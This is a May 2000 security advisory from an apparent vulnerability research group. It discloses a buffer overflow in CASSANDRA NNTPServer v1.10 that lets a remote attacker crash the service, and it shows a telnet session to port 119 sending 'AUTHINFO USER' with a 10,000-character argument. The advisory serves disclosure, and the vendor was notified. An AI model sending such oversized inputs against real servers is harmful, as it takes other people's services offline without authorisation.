Remote DoS attack in CASSANDRA NNTPServer v1.10 from ATRIUM SOFTWARE Vulnerability

   

ATRIUM

CASSANDRA NNTPServer Version v1.10 (WinNT / Win95)

 


USSR Advisory Code:   USSR-2000039


Release Date:
May 1, 2000


Systems Affected:
CASSANDRA NNTPServer Version v1.10 (WinNT / Win95)


THE PROBLEM
The Ussr Labs Team has recently discovered a buffer overflow problem in the CASSANDRA NNTPServer v1.0. 
What happens is preforming an attack with a large login information Port 119, cause the proccess 
containg the services to stop responding.

Thanks to [Racer X] to let us know about this.


Example: 
[hellme@die-communitech.net$ telnet example.com 119
Trying example.com...
Connected to example.com.
Escape character is '^]'.
200 CASSANDRA NNTP-Server (v1.10.01 Unregistered) for Windows 95 ready at Mon, 1
 May 2000  xx:xx:xx +-300 (posting allowed)  

AUTHINFO USER (buffer)


Where buffer is 10000 characters.

The Exploit: 
It will take down the service, making it non-functional, (untill Reboot)


Vendor Status:  
Informed.


Vendor   Url: http://www.atrium.de/
Program  Url: http://www.atrium.de/cassandra/cassandra_e.cfm
Download Url: http://www.atrium.de/download/casnntpe.exe


Related Links:

Underground Security Systems Research
http://www.ussrback.com

Greetings:
Eeye, Attrition, w00w00, beavuh, Rhino9, SecurityFocus.com, ADM, HNN, Technotronic and Wiretrip. HNC

Copyright (c) 1999-2000 Underground Security Systems Research.
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